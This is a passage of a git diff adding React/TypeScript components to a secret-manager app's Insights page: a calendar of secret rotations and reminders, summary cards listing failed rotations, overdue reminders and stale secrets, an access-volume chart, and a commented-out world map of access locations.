+  );
+};
diff --git a/frontend/src/pages/secret-manager/InsightsPage/components/CalendarGrid.tsx b/frontend/src/pages/secret-manager/InsightsPage/components/CalendarGrid.tsx
new file mode 100644
index 00000000000..1d7cdc81125
--- /dev/null
+++ b/frontend/src/pages/secret-manager/InsightsPage/components/CalendarGrid.tsx
@@ -0,0 +1,87 @@
+import { useMemo } from "react";
+import {
+  eachDayOfInterval,
+  endOfMonth,
+  endOfWeek,
+  format,
+  isSameMonth,
+  startOfMonth,
+  startOfWeek
+} from "date-fns";
+
+import { TCalendarReminder, TCalendarRotation } from "@app/hooks/api/secretInsights/types";
+
+import { CalendarDayCell } from "./CalendarDayCell";
+import { CalendarEvent } from "./types";
+
+const DAY_NAMES = ["Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun"];
+
+const groupEventsByDate = (
+  rotations: TCalendarRotation[],
+  reminders: TCalendarReminder[]
+): Record<string, CalendarEvent[]> => {
+  const map: Record<string, CalendarEvent[]> = {};
+
+  rotations.forEach((r) => {
+    if (!r.nextRotationAt) return;
+    const key = format(new Date(r.nextRotationAt), "yyyy-MM-dd");
+    if (!map[key]) map[key] = [];
+    map[key].push({ type: "rotation", data: r });
+  });
+
+  reminders.forEach((r) => {
+    const key = format(new Date(r.nextReminderDate), "yyyy-MM-dd");
+    if (!map[key]) map[key] = [];
+    map[key].push({ type: "reminder", data: r });
+  });
+
+  return map;
+};
+
+export const CalendarGrid = ({
+  currentMonth,
+  rotations,
+  reminders
+}: {
+  currentMonth: Date;
+  rotations: TCalendarRotation[];
+  reminders: TCalendarReminder[];
+}) => {
+  const days = useMemo(() => {
+    const monthStart = startOfMonth(currentMonth);
+    const monthEnd = endOfMonth(currentMonth);
+    const gridStart = startOfWeek(monthStart, { weekStartsOn: 1 });
+    const gridEnd = endOfWeek(monthEnd, { weekStartsOn: 1 });
+    return eachDayOfInterval({ start: gridStart, end: gridEnd });
+  }, [currentMonth]);
+
+  const eventsByDate = useMemo(
+    () => groupEventsByDate(rotations, reminders),
+    [rotations, reminders]
+  );
+
+  return (
+    <div className="overflow-hidden rounded-lg border border-border bg-container">
+      <div className="grid grid-cols-7">
+        {DAY_NAMES.map((day) => (
+          <div key={day} className="border-b border-border py-2 text-center text-sm font-medium">
+            {day}
+          </div>
+        ))}
+      </div>
+      <div className="grid grid-cols-7">
+        {days.map((day) => {
+          const dateKey = format(day, "yyyy-MM-dd");
+          return (
+            <CalendarDayCell
+              key={dateKey}
+              date={day}
+              isCurrentMonth={isSameMonth(day, currentMonth)}
+              events={eventsByDate[dateKey] ?? []}
+            />
+          );
+        })}
+      </div>
+    </div>
+  );
+};
diff --git a/frontend/src/pages/secret-manager/InsightsPage/components/CalendarLegend.tsx b/frontend/src/pages/secret-manager/InsightsPage/components/CalendarLegend.tsx
new file mode 100644
index 00000000000..871fea844ed
--- /dev/null
+++ b/frontend/src/pages/secret-manager/InsightsPage/components/CalendarLegend.tsx
@@ -0,0 +1,14 @@
+export const CalendarLegend = () => {
+  return (
+    <div className="float-right mt-3 -mb-2 flex items-center gap-4">
+      <div className="flex items-center gap-1.5">
+        <span className="size-2 rounded-full bg-info" />
+        <span className="text-xs text-muted">Rotation</span>
+      </div>
+      <div className="flex items-center gap-1.5">
+        <span className="size-2 rounded-full bg-warning" />
+        <span className="text-xs text-muted">Reminder</span>
+      </div>
+    </div>
+  );
+};
diff --git a/frontend/src/pages/secret-manager/InsightsPage/components/InsightsSummaryCards.tsx b/frontend/src/pages/secret-manager/InsightsPage/components/InsightsSummaryCards.tsx
new file mode 100644
index 00000000000..59643f61c07
--- /dev/null
+++ b/frontend/src/pages/secret-manager/InsightsPage/components/InsightsSummaryCards.tsx
@@ -0,0 +1,484 @@
+import { useState } from "react";
+import { useNavigate, useParams } from "@tanstack/react-router";
+import { formatDistanceToNow, parseISO } from "date-fns";
+import {
+  AlertTriangleIcon,
+  BellIcon,
+  CheckIcon,
+  ChevronLeftIcon,
+  ChevronRightIcon,
+  ClockIcon,
+  ExternalLinkIcon,
+  RefreshCwIcon
+} from "lucide-react";
+import { twMerge } from "tailwind-merge";
+
+import {
+  Badge,
+  Button,
+  Card,
+  CardAction,
+  CardContent,
+  CardHeader,
+  CardTitle,
+  IconButton,
+  Separator,
+  Skeleton,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow
+} from "@app/components/v3";
+import { Popover, PopoverContent, PopoverTrigger } from "@app/components/v3/generic/Popover";
+import { cn } from "@app/components/v3/utils";
+import { useProject } from "@app/context";
+import { useGetInsightsSummary } from "@app/hooks/api";
+
+type StatCardProps = {
+  title: string;
+  icon: React.ReactNode;
+  iconVariant: "warning" | "info" | "danger";
+  count: number;
+  totalItems: number;
+  subtitle: string;
+  footnote: string;
+  footnoteVariant: "warning" | "danger" | "success";
+  viewLabel: string;
+  popoverContent?: React.ReactNode;
+};
+
+const StatCard = ({
+  title,
+  icon,
+  iconVariant,
+  count,
+  totalItems,
+  subtitle,
+  footnote,
+  footnoteVariant,
+  viewLabel,
+  popoverContent
+}: StatCardProps) => {
+  const [open, setOpen] = useState(false);
+
+  return (
+    <Card className="flex-1">
+      <CardHeader>
+        <CardTitle>{title}</CardTitle>
+        <CardAction>
+          <div
+            className={cn(
+              "flex size-9 items-center justify-center rounded-md border [&>svg]:size-5",
+              iconVariant === "info" && "border-info/15 bg-info/10 text-info",
+              iconVariant === "warning" && "border-warning/15 bg-warning/10 text-warning",
+              iconVariant === "danger" && "border-danger/15 bg-danger/10 text-danger"
+            )}
+          >
+            {icon}
+          </div>
+        </CardAction>
+      </CardHeader>
+      <CardContent className="flex flex-col gap-3">
+        <div>
+          <span className="text-2xl font-semibold">{count}</span>
+          <span className="ml-2 text-sm text-muted">{subtitle}</span>
+        </div>
+        <Separator />
+        <div className="flex items-center justify-between">
+          <Badge variant={footnoteVariant}>
+            {footnoteVariant === "success" ? <CheckIcon /> : <AlertTriangleIcon />}
+            {footnote}
+          </Badge>
+          {popoverContent && (
+            <Popover open={open} onOpenChange={setOpen}>
+              <PopoverTrigger asChild>
+                <Button variant="outline" size="xs" disabled={totalItems === 0}>
+                  {viewLabel}
+                </Button>
+              </PopoverTrigger>
+              <PopoverContent className="w-[480px] p-0" align="end">
+                {popoverContent}
+              </PopoverContent>
+            </Popover>
+          )}
+        </div>
+      </CardContent>
+    </Card>
+  );
+};
+
+const overviewRoute =
+  "/organizations/$orgId/projects/secret-management/$projectId/overview" as const;
+
+type RotationItem = {
+  name: string;
+  environment: string;
+  secretPath: string;
+  nextRotationAt: string | null;
+};
+
+const RotationTable = ({
+  failed,
+  upcoming,
+  orgId,
+  projectId
+}: {
+  failed: RotationItem[];
+  upcoming: RotationItem[];
+  orgId: string;
+  projectId: string;
+}) => {
+  const navigate = useNavigate();
+  const allItems = [
+    ...failed.map((item) => ({ ...item, status: "failed" as const })),
+    ...upcoming.map((item) => ({ ...item, status: "upcoming" as const }))
+  ];
+
+  if (!allItems.length) return <p className="p-4 text-center text-xs text-muted">No rotations</p>;
+
+  return (
+    <Table containerClassName="max-h-72">
+      <TableHeader className="sticky top-0 z-10 bg-container shadow-[inset_0_-1px_0_var(--color-border)]">
+        <TableRow>
+          <TableHead>Name</TableHead>
+          <TableHead>Env</TableHead>
+          <TableHead>Path</TableHead>
+          <TableHead>Status</TableHead>
+          <TableHead className="w-8" />
+        </TableRow>
+      </TableHeader>
+      <TableBody>
+        {allItems.map((item) => (
+          <TableRow
+            key={`${item.status}-${item.name}-${item.environment}`}
+            onClick={() =>
+              navigate({
+                to: overviewRoute,
+                params: { orgId, projectId },
+                search: {
+                  search: item.name,
+                  environments: [item.environment],
+                  filterBy: "rotation"
+                }
+              })
+            }
+          >
+            <TableCell className="max-w-[120px] truncate font-medium" title={item.name}>
+              {item.name}
+            </TableCell>
+            <TableCell className="text-muted" title={item.environment}>
+              {item.environment}
+            </TableCell>
+            <TableCell className="max-w-[100px] truncate text-muted" title={item.secretPath}>
+              {item.secretPath}
+            </TableCell>
+            <TableCell>
+              {item.status === "failed" ? (
+                <Badge variant="danger">
+                  {item.nextRotationAt
+                    ? `retries ${formatDistanceToNow(parseISO(item.nextRotationAt), { addSuffix: true })}`
+                    : "failed"}
+                </Badge>
+              ) : (
+                <Badge variant="info">
+                  {item.nextRotationAt
+                    ? formatDistanceToNow(parseISO(item.nextRotationAt), { addSuffix: true })
+                    : "scheduled"}
+                </Badge>
+              )}
+            </TableCell>
+            <TableCell className="w-8 px-2">
+              <ExternalLinkIcon className="size-3.5 text-muted" />
+            </TableCell>
+          </TableRow>
+        ))}
+      </TableBody>
+    </Table>
+  );
+};
+
+type ReminderItem = {
+  secretKey: string;
+  environment: string;
+  secretPath: string;
+  nextReminderDate: string;
+};
+
+const ReminderTable = ({
+  overdue,
+  upcoming,
+  orgId,
+  projectId
+}: {
+  overdue: ReminderItem[];
+  upcoming: ReminderItem[];
+  orgId: string;
+  projectId: string;
+}) => {
+  const navigate = useNavigate();
+  const allItems = [
+    ...overdue.map((item) => ({ ...item, status: "overdue" as const })),
+    ...upcoming.map((item) => ({ ...item, status: "upcoming" as const }))
+  ];
+
+  if (!allItems.length) return <p className="p-4 text-center text-xs text-muted">No reminders</p>;
+
+  return (
+    <Table containerClassName="max-h-72">
+      <TableHeader className="sticky top-0 z-10 bg-container shadow-[inset_0_-1px_0_var(--color-border)]">
+        <TableRow>
+          <TableHead>Secret</TableHead>
+          <TableHead>Env</TableHead>
+          <TableHead>Path</TableHead>
+          <TableHead>Due</TableHead>
+          <TableHead className="w-8" />
+        </TableRow>
+      </TableHeader>
+      <TableBody>
+        {allItems.map((item) => (
+          <TableRow
+            key={`${item.status}-${item.secretKey}-${item.environment}`}
+            onClick={() =>
+              navigate({
+                to: overviewRoute,
+                params: { orgId, projectId },
+                search: {
+                  search: item.secretKey,
+                  environments: [item.environment],
+                  filterBy: "secret"
+                }
+              })
+            }
+          >
+            <TableCell className="max-w-[120px] truncate font-medium" title={item.secretKey}>
+              {item.secretKey}
+            </TableCell>
+            <TableCell className="text-muted" title={item.environment}>
+              {item.environment}
+            </TableCell>
+            <TableCell className="max-w-[100px] truncate text-muted" title={item.secretPath}>
+              {item.secretPath}
+            </TableCell>
+            <TableCell>
+              <Badge variant={item.status === "overdue" ? "danger" : "warning"}>
+                {formatDistanceToNow(parseISO(item.nextReminderDate), { addSuffix: true })}
+              </Badge>
+            </TableCell>
+            <TableCell className="w-8 px-2">
+              <ExternalLinkIcon className="size-3.5 text-muted" />
+            </TableCell>
+          </TableRow>
+        ))}
+      </TableBody>
+    </Table>
+  );
+};
+
+const PAGE_SIZE = 10;
+
+const StaleSecretsTable = ({
+  items,
+  totalCount,
+  page,
+  onPageChange,
+  orgId,
+  projectId
+}: {
+  items: { key: string; environment: string; secretPath: string; updatedAt: string }[];
+  totalCount: number;
+  page: number;
+  onPageChange: (p: number) => void;
+  orgId: string;
+  projectId: string;
+}) => {
+  const navigate = useNavigate();
+  const totalPages = Math.ceil(totalCount / PAGE_SIZE);
+
+  if (!totalCount) return <p className="p-4 text-center text-xs text-muted">No stale secrets</p>;
+
+  return (
+    <div>
+      <Table containerClassName={twMerge("max-h-72", totalPages && "rounded-b-none")}>
+        <TableHeader className="sticky top-0 z-10 bg-container shadow-[inset_0_-1px_0_var(--color-border)]">
+          <TableRow>
+            <TableHead>Secret</TableHead>
+            <TableHead>Env</TableHead>
+            <TableHead>Path</TableHead>
+            <TableHead>Last Modified</TableHead>
+            <TableHead className="w-8" />
+          </TableRow>
+        </TableHeader>
+        <TableBody>
+          {items.map((item) => (
+            <TableRow
+              key={`${item.key}-${item.environment}-${item.secretPath}`}
+              onClick={() =>
+                navigate({
+                  to: overviewRoute,
+                  params: { orgId, projectId },
+                  search: {
+                    search: item.key,
+                    environments: [item.environment],
+                    filterBy: "secret"
+                  }
+                })
+              }
+            >
+              <TableCell className="max-w-[120px] truncate font-medium" title={item.key}>
+                {item.key}
+              </TableCell>
+              <TableCell className="text-muted" title={item.environment}>
+                {item.environment}
+              </TableCell>
+              <TableCell className="max-w-[100px] truncate text-muted" title={item.secretPath}>
+                {item.secretPath}
+              </TableCell>
+              <TableCell className="text-muted">
+                {formatDistanceToNow(parseISO(item.updatedAt), { addSuffix: true })}
+              </TableCell>
+              <TableCell className="w-8 px-2">
+                <ExternalLinkIcon className="size-3.5 text-muted" />
+              </TableCell>
+            </TableRow>
+          ))}
+        </TableBody>
+      </Table>
+      {totalPages > 1 && (
+        <div className="flex items-center justify-between border-t border-border bg-container px-3 py-2">
+          <span className="text-xs text-muted">
+            {page * PAGE_SIZE + 1}&ndash;{Math.min((page + 1) * PAGE_SIZE, totalCount)} of{" "}
+            {totalCount}
+          </span>
+          <div className="flex items-center gap-1">
+            <IconButton
+              variant="ghost"
+              size="xs"
+              disabled={page === 0}
+              onClick={() => onPageChange(page - 1)}
+            >
+              <ChevronLeftIcon className="size-3.5" />
+            </IconButton>
+            <IconButton
+              variant="ghost"
+              size="xs"
+              disabled={page >= totalPages - 1}
+              onClick={() => onPageChange(page + 1)}
+            >
+              <ChevronRightIcon className="size-3.5" />
+            </IconButton>
+          </div>
+        </div>
+      )}
+    </div>
+  );
+};
+
+export const InsightsSummaryCards = () => {
+  const { projectId } = useProject();
+  const { orgId } = useParams({
+    strict: false,
+    select: (p) => ({ orgId: (p as Record<string, string>).orgId })
+  });
+
+  const [stalePage, setStalePage] = useState(0);
+
+  const { data, isPending } = useGetInsightsSummary(
+    {
+      projectId,
+      staleSecretsOffset: stalePage * PAGE_SIZE,
+      staleSecretsLimit: PAGE_SIZE
+    },
+    { enabled: !!projectId, placeholderData: (prev) => prev }
+  );
+
+  if (isPending) {
+    return (
+      <div className="flex flex-col gap-6 xl:flex-row">
+        <Skeleton className="h-[183px] flex-1" />
+        <Skeleton className="h-[183px] flex-1" />
+        <Skeleton className="h-[183px] flex-1" />
+      </div>
+    );
+  }
+
+  const upcomingRotations = data?.upcomingRotations ?? [];
+  const failedRotations = data?.failedRotations ?? [];
+  const upcomingReminders = data?.upcomingReminders ?? [];
+  const overdueReminders = data?.overdueReminders ?? [];
+  const staleSecrets = data?.staleSecrets ?? [];
+  const totalStaleCount = data?.totalStaleCount ?? staleSecrets.length;
+
+  return (
+    <div className="flex flex-col gap-6 xl:flex-row">
+      <StatCard
+        title="Upcoming Rotations"
+        icon={<RefreshCwIcon />}
+        iconVariant="info"
+        count={upcomingRotations.length}
+        totalItems={upcomingRotations.length + failedRotations.length}
+        subtitle="In the next 7 days"
+        footnote={
+          failedRotations.length ? `${failedRotations.length} failed` : "No failed rotations"
+        }
+        footnoteVariant={failedRotations.length ? "danger" : "success"}
+        viewLabel={failedRotations.length ? "View Failed Rotations" : "View Rotations"}
+        popoverContent={
+          <RotationTable
+            failed={failedRotations}
+            upcoming={upcomingRotations}
+            orgId={orgId}
+            projectId={projectId}
+          />
+        }
+      />
+      <StatCard
+        title="Upcoming Reminders"
+        icon={<BellIcon />}
+        iconVariant="warning"
+        count={upcomingReminders.length}
+        totalItems={upcomingReminders.length + overdueReminders.length}
+        subtitle="In the next 7 days"
+        footnote={
+          overdueReminders.length ? `${overdueReminders.length} overdue` : "No overdue reminders"
+        }
+        footnoteVariant={overdueReminders.length ? "danger" : "success"}
+        viewLabel={overdueReminders.length ? "View Overdue Reminders" : "View Upcoming Reminders"}
+        popoverContent={
+          <ReminderTable
+            overdue={overdueReminders}
+            upcoming={upcomingReminders}
+            orgId={orgId}
+            projectId={projectId}
+          />
+        }
+      />
+      <StatCard
+        title="Stale Secrets"
+        icon={<ClockIcon />}
+        iconVariant="danger"
+        count={totalStaleCount}
+        totalItems={totalStaleCount}
+        subtitle="Unmodified > 90 days"
+        footnote={
+          totalStaleCount
+            ? `${totalStaleCount} need${totalStaleCount === 1 ? "s" : ""} review`
+            : "All secrets up to date"
+        }
+        footnoteVariant={totalStaleCount ? "warning" : "success"}
+        viewLabel="View Stale Secrets"
+        popoverContent={
+          <StaleSecretsTable
+            items={staleSecrets}
+            totalCount={totalStaleCount}
+            page={stalePage}
+            onPageChange={setStalePage}
+            orgId={orgId}
+            projectId={projectId}
+          />
+        }
+      />
+    </div>
+  );
+};
diff --git a/frontend/src/pages/secret-manager/InsightsPage/components/LineChart.tsx b/frontend/src/pages/secret-manager/InsightsPage/components/LineChart.tsx
new file mode 100644
index 00000000000..0dd06fe9942
--- /dev/null
+++ b/frontend/src/pages/secret-manager/InsightsPage/components/LineChart.tsx
@@ -0,0 +1,78 @@
+import {
+  Area,
+  AreaChart,
+  CartesianGrid,
+  ResponsiveContainer,
+  Tooltip,
+  XAxis,
+  YAxis
+} from "recharts";
+
+export type LineChartDataPoint = {
+  label: string;
+  value: number;
+};
+
+type LineChartProps = {
+  data: LineChartDataPoint[];
+  height?: number;
+};
+
+export const LineChart = ({ data, height = 280 }: LineChartProps) => {
+  return (
+    <ResponsiveContainer width="100%" height={height}>
+      <AreaChart data={data} margin={{ top: 8, right: 8, bottom: 0, left: -16 }}>
+        <defs>
+          <linearGradient id="areaGradient" x1="0" y1="0" x2="0" y2="1">
+            <stop offset="0%" stopColor="var(--color-info)" stopOpacity={0.15} />
+            <stop offset="100%" stopColor="var(--color-info)" stopOpacity={0} />
+          </linearGradient>
+        </defs>
+        <CartesianGrid strokeDasharray="4 4" stroke="var(--color-border)" vertical={false} />
+        <XAxis
+          dataKey="label"
+          tick={{ fontSize: 11, fill: "var(--color-label)" }}
+          axisLine={false}
+          tickLine={false}
+        />
+        <YAxis
+          tick={{ fontSize: 11, fill: "var(--color-label)" }}
+          axisLine={false}
+          tickLine={false}
+          allowDecimals={false}
+        />
+        <Tooltip
+          contentStyle={{
+            backgroundColor: "var(--color-popover)",
+            border: "1px solid var(--color-border)",
+            borderRadius: 8,
+            fontSize: 12
+          }}
+          labelStyle={{ color: "var(--color-foreground)" }}
+          itemStyle={{ color: "var(--color-warning)" }}
+          cursor={{ stroke: "var(--color-warning)", strokeWidth: 1, strokeDasharray: "4 4" }}
+          formatter={(value) => [Number(value).toLocaleString(), "Requests"]}
+        />
+        <Area
+          type="monotoneX"
+          dataKey="value"
+          stroke="var(--color-info)"
+          strokeWidth={1.5}
+          fill="url(#areaGradient)"
+          dot={{
+            r: 4,
+            fill: "var(--color-info)",
+            stroke: "var(--color-container)",
+            strokeWidth: 2
+          }}
+          activeDot={{
+            r: 4,
+            fill: "var(--color-warning)",
+            stroke: "var(--color-container)",
+            strokeWidth: 2
+          }}
+        />
+      </AreaChart>
+    </ResponsiveContainer>
+  );
+};
diff --git a/frontend/src/pages/secret-manager/InsightsPage/components/SecretAccessChart.tsx b/frontend/src/pages/secret-manager/InsightsPage/components/SecretAccessChart.tsx
new file mode 100644
index 00000000000..6ba20f450fa
--- /dev/null
+++ b/frontend/src/pages/secret-manager/InsightsPage/components/SecretAccessChart.tsx
@@ -0,0 +1,83 @@
+import { useMemo } from "react";
+import { format, parseISO } from "date-fns";
+
+import {
+  Card,
+  CardContent,
+  CardDescription,
+  CardHeader,
+  CardTitle,
+  Skeleton
+} from "@app/components/v3";
+import { useProject } from "@app/context";
+import { useGetSecretAccessVolume } from "@app/hooks/api";
+
+import { LineChart } from "./LineChart";
+
+export const SecretAccessChart = () => {
+  const { projectId } = useProject();
+
+  const { data, isPending } = useGetSecretAccessVolume({ projectId }, { enabled: !!projectId });
+
+  const chartData = useMemo(() => {
+    if (!data?.days) return [];
+    return data.days.map((day) => ({
+      label: format(parseISO(day.date), "EEE"),
+      value: day.total
+    }));
+  }, [data]);
+
+  const topActors = useMemo(() => {
+    if (!data?.days) return [];
+    const totals = new Map<string, { name: string; type: string; count: number }>();
+    data.days.forEach((day) => {
+      day.actors.forEach((actor) => {
+        const key = `${actor.type}:${actor.name}`;
+        const existing = totals.get(key);
+        if (existing) {
+          existing.count += actor.count;
+        } else {
+          totals.set(key, { ...actor });
+        }
+      });
+    });
+    return Array.from(totals.values())
+      .sort((a, b) => b.count - a.count)
+      .slice(0, 5);
+  }, [data]);
+
+  const totalRequests = chartData.reduce((sum, d) => sum + d.value, 0);
+
+  return (
+    <Card>
+      <CardHeader>
+        <CardTitle>Secret Access Volume</CardTitle>
+        <CardDescription>Secret read requests over the past 7 days</CardDescription>
+      </CardHeader>
+      <CardContent>
+        {isPending ? (
+          <Skeleton className="h-[280px] w-full" />
+        ) : (
+          <div className="flex flex-col gap-4">
+            <LineChart data={chartData} />
+            {topActors.length > 0 && (
+              <div className="flex flex-col gap-2">
+                <span className="text-xs text-accent">
+                  Top actors — {totalRequests.toLocaleString()} total requests
+                </span>
+                <div className="flex flex-wrap gap-x-4 gap-y-1">
+                  {topActors.map((actor) => (
+                    <span key={`${actor.type}:${actor.name}`} className="text-xs text-foreground">
+                      <span className="text-muted">{actor.type}:</span> {actor.name}{" "}
+                      <span className="text-label">({actor.count.toLocaleString()})</span>
+                    </span>
+                  ))}
+                </div>
+              </div>
+            )}
+          </div>
+        )}
+      </CardContent>
+    </Card>
+  );
+};
diff --git a/frontend/src/pages/secret-manager/InsightsPage/components/WorldMap.tsx b/frontend/src/pages/secret-manager/InsightsPage/components/WorldMap.tsx
new file mode 100644
index 00000000000..edb64ed3f07
--- /dev/null
+++ b/frontend/src/pages/secret-manager/InsightsPage/components/WorldMap.tsx
@@ -0,0 +1,348 @@
+// import { useMemo, useState } from "react";
+// import { geoNaturalEarth1, geoPath } from "d3-geo";
+// import { feature } from "topojson-client";
+// import type { Topology } from "topojson-specification";
+
+// import {
+//   Badge,
+//   Skeleton,
+//   Tooltip,
+//   TooltipContent,
+//   TooltipProvider,
+//   TooltipTrigger,
+//   Card,
+//   CardContent,
+//   CardDescription,
+//   CardHeader,
+//   CardTitle
+// } from "@app/components/v3";
+// import { useProject } from "@app/context";
+// import { useGetSecretAccessLocations } from "@app/hooks/api";
+// import { TAccessLocation } from "@app/hooks/api/secretInsights/types";
+
+// import worldTopoJson from "./countries-110m.json";
+
+// // ISO 3166-1 alpha-2 → numeric mapping (covers common countries; extend as needed)
+// /* eslint-disable @typescript-eslint/naming-convention */
+// const ALPHA2_TO_NUMERIC: Record<string, string> = {
+//   AF: "004",
+//   AL: "008",
+//   DZ: "012",
+//   AR: "032",
+//   AU: "036",
+//   AT: "040",
+//   BD: "050",
+//   BE: "056",
+//   BR: "076",
+//   BG: "100",
+//   CA: "124",
+//   CL: "152",
+//   CN: "156",
+//   CO: "170",
+//   HR: "191",
+//   CZ: "203",
+//   DK: "208",
+//   EG: "818",
+//   EE: "233",
+//   FI: "246",
+//   FR: "250",
+//   DE: "276",
+//   GR: "300",
+//   HK: "344",
+//   HU: "348",
+//   IN: "356",
+//   ID: "360",
+//   IR: "364",
+//   IQ: "368",
+//   IE: "372",
+//   IL: "376",
+//   IT: "380",
+//   JP: "392",
+//   KE: "404",
+//   KR: "410",
+//   LV: "428",
+//   LT: "440",
+//   MY: "458",
+//   MX: "484",
+//   MA: "504",
+//   NL: "528",
+//   NZ: "554",
+//   NG: "566",
+//   NO: "578",
+//   PK: "586",
+//   PE: "604",
+//   PH: "608",
+//   PL: "616",
+//   PT: "620",
+//   RO: "642",
+//   RU: "643",
+//   SA: "682",
+//   SG: "702",
+//   ZA: "710",
+//   ES: "724",
+//   SE: "752",
+//   CH: "756",
+//   TW: "158",
+//   TH: "764",
+//   TR: "792",
+//   UA: "804",
+//   AE: "784",
+//   GB: "826",
+//   US: "840",
+//   VN: "704",
+//   KZ: "398",
+//   CY: "196"
+// };
+// /* eslint-enable @typescript-eslint/naming-convention */
+
+// const MAX_RADIUS = 10;
+// const MIN_RADIUS = 3;
+
+// // Natural Earth 1 projection — trimmed left (before Hawaii), padded right
+// const SVG_WIDTH = 960;
+// const SVG_HEIGHT = 460;
+
+// const projection = geoNaturalEarth1()
+//   .scale(170)
+//   .translate([SVG_WIDTH / 2 - 25, SVG_HEIGHT / 2 + 5]);
+
+// const pathGenerator = geoPath(projection);
+
+// const geoFeatures = (
+//   feature(
+//     worldTopoJson as unknown as Topology,
+//     (worldTopoJson as unknown as Topology).objects.countries
+//   ) as GeoJSON.FeatureCollection
+// ).features;
+
+// // Inactive country base: dark but visible against the card bg
+// const INACTIVE_FILL = "#242629";
+// // Stroke between countries
+// const BORDER_STROKE = "#3a3c40";
+// // Info color for active country gradient
+// const INFO_COLOR = "#63b0bd";
+
+// const ResponsiveWorldMap = ({
+//   mapLocations,
+//   countryActivity,
+//   countryMaxCount,
+//   getRadius
+// }: {
+//   mapLocations: TAccessLocation[];
+//   countryActivity: Map<string, number>;
+//   countryMaxCount: number;
+//   getRadius: (count: number) => number;
+// }) => {
+//   const [hovered, setHovered] = useState<string | null>(null);
+
+//   // Build gradient definitions for each active country
+//   const activeCountryGradients = useMemo(() => {
+//     const gradients: { id: string; topOpacity: number; bottomOpacity: number }[] = [];
+//     countryActivity.forEach((count, numericCode) => {
+//       const ratio = count / countryMaxCount;
+//       // Top of gradient is brighter, bottom fades to the base
+//       const topOpacity = 0.25 + ratio * 0.55; // 0.25 → 0.80
+//       const bottomOpacity = 0.08 + ratio * 0.15; // 0.08 → 0.23
+//       gradients.push({ id: numericCode, topOpacity, bottomOpacity });
+//     });
+//     return gradients;
+//   }, [countryActivity, countryMaxCount]);
+
+//   const getFill = (id: string, isHover: boolean) => {
+//     const isActive = countryActivity.has(id);
+//     if (isHover) {
+//       return isActive ? `url(#grad-hover-${id})` : "#2f3136";
+//     }
+//     return isActive ? `url(#grad-${id})` : INACTIVE_FILL;
+//   };
+
+//   return (
+//     <div className="w-full overflow-hidden rounded-md border border-border bg-bunker-800/25">
+//       <svg
+//         viewBox={`0 0 ${SVG_WIDTH} ${SVG_HEIGHT}`}
+//         className="h-auto w-full"
+//         preserveAspectRatio="xMidYMid meet"
+//       >
+//         <defs>
+//           {activeCountryGradients.map((g) => (
+//             <linearGradient key={`grad-${g.id}`} id={`grad-${g.id}`} x1="0" y1="0" x2="0" y2="1">
+//               <stop offset="0%" stopColor={INFO_COLOR} stopOpacity={g.topOpacity} />
+//               <stop offset="100%" stopColor={INFO_COLOR} stopOpacity={g.bottomOpacity} />
+//             </linearGradient>
+//           ))}
+//           {activeCountryGradients.map((g) => (
+//             <linearGradient
+//               key={`grad-hover-${g.id}`}
+//               id={`grad-hover-${g.id}`}
+//               x1="0"
+//               y1="0"
+//               x2="0"
+//               y2="1"
+//             >
+//               <stop
+//                 offset="0%"
+//                 stopColor={INFO_COLOR}
+//                 stopOpacity={Math.min(g.topOpacity + 0.15, 1)}
+//               />
+//               <stop
+//                 offset="100%"
+//                 stopColor={INFO_COLOR}
+//                 stopOpacity={Math.min(g.bottomOpacity + 0.1, 0.5)}
+//               />
+//             </linearGradient>
+//           ))}
+//         </defs>
+//         <g>
+//           {geoFeatures.map((geo) => {
+//             const id = String(geo.id ?? "");
+//             const d = pathGenerator(geo) ?? "";
+//             const isHover = hovered === id;
+//             return (
+//               <path
+//                 key={id}
+//                 d={d}
+//                 fill={getFill(id, isHover)}
+//                 stroke={BORDER_STROKE}
+//                 strokeWidth={0.5}
+//                 onMouseEnter={() => setHovered(id)}
+//                 onMouseLeave={() => setHovered(null)}
+//                 style={{ outline: "none", transition: "fill 0.15s, opacity 0.15s" }}
+//               />
+//             );
+//           })}
+//         </g>
+//         <g>
+//           {mapLocations.map((loc) => {
+//             const coords = projection([loc.lng, loc.lat]);
+//             if (!coords) return null;
+//             return (
+//               <Tooltip key={`${loc.city}:${loc.country}`}>
+//                 <TooltipTrigger asChild>
+//                   <circle
+//                     cx={coords[0]}
+//                     cy={coords[1]}
+//                     r={getRadius(loc.count)}
+//                     fill="color-mix(in srgb, var(--color-warning) 50%, transparent)"
+//                     stroke="var(--color-warning)"
+//                     strokeWidth={1}
+//                     className="cursor-pointer transition-opacity hover:opacity-80"
+//                   />
+//                 </TooltipTrigger>
+//                 <TooltipContent>
+//                   <p className="font-medium">
+//                     {loc.city ? `${loc.city}, ${loc.country}` : loc.country}
+//                   </p>
+//                   <p className="text-xs text-muted">
+//                     {loc.count.toLocaleString()} access{loc.count !== 1 ? "es" : ""}
+//                   </p>
+//                 </TooltipContent>
+//               </Tooltip>
+//             );
+//           })}
+//         </g>
+//       </svg>
+//     </div>
+//   );
+// };
+
+// export const WorldMap = () => {
+//   const { projectId } = useProject();
+
+//   const { data, isPending } = useGetSecretAccessLocations(
+//     { projectId, days: 30 },
+//     { enabled: !!projectId }
+//   );
+
+//   const allLocations = data?.locations ?? [];
+
+//   // Separate local network entries from geo-resolvable locations
+//   const { mapLocations, localCount } = useMemo(() => {
+//     const geo: TAccessLocation[] = [];
+//     let local = 0;
+//     allLocations.forEach((loc) => {
+//       if (loc.country === "LOCAL") {
+//         local += loc.count;
+//       } else {
+//         geo.push(loc);
+//       }
+//     });
+//     return { mapLocations: geo, localCount: local };
+//   }, [allLocations]);
+
+//   // Aggregate total access count per country (numeric code) for choropleth fill
+//   const { countryActivity, countryMaxCount } = useMemo(() => {
+//     const activity = new Map<string, number>();
+//     mapLocations.forEach((loc) => {
+//       const numericCode = ALPHA2_TO_NUMERIC[loc.country];
+//       if (!numericCode) return;
+//       activity.set(numericCode, (activity.get(numericCode) || 0) + loc.count);
+//     });
+//     const maxVal = Math.max(...Array.from(activity.values()), 1);
+//     return { countryActivity: activity, countryMaxCount: maxVal };
+//   }, [mapLocations]);
+
+//   const maxCount = useMemo(() => Math.max(...mapLocations.map((l) => l.count), 1), [mapLocations]);
+
+//   const getRadius = (count: number) => {
+//     const ratio = count / maxCount;
+//     return MIN_RADIUS + ratio * (MAX_RADIUS - MIN_RADIUS);
+//   };
+
+//   const totalAccess = allLocations.reduce((sum, l) => sum + l.count, 0);
+
+//   return (
+//     <Card>
+//       <CardHeader>
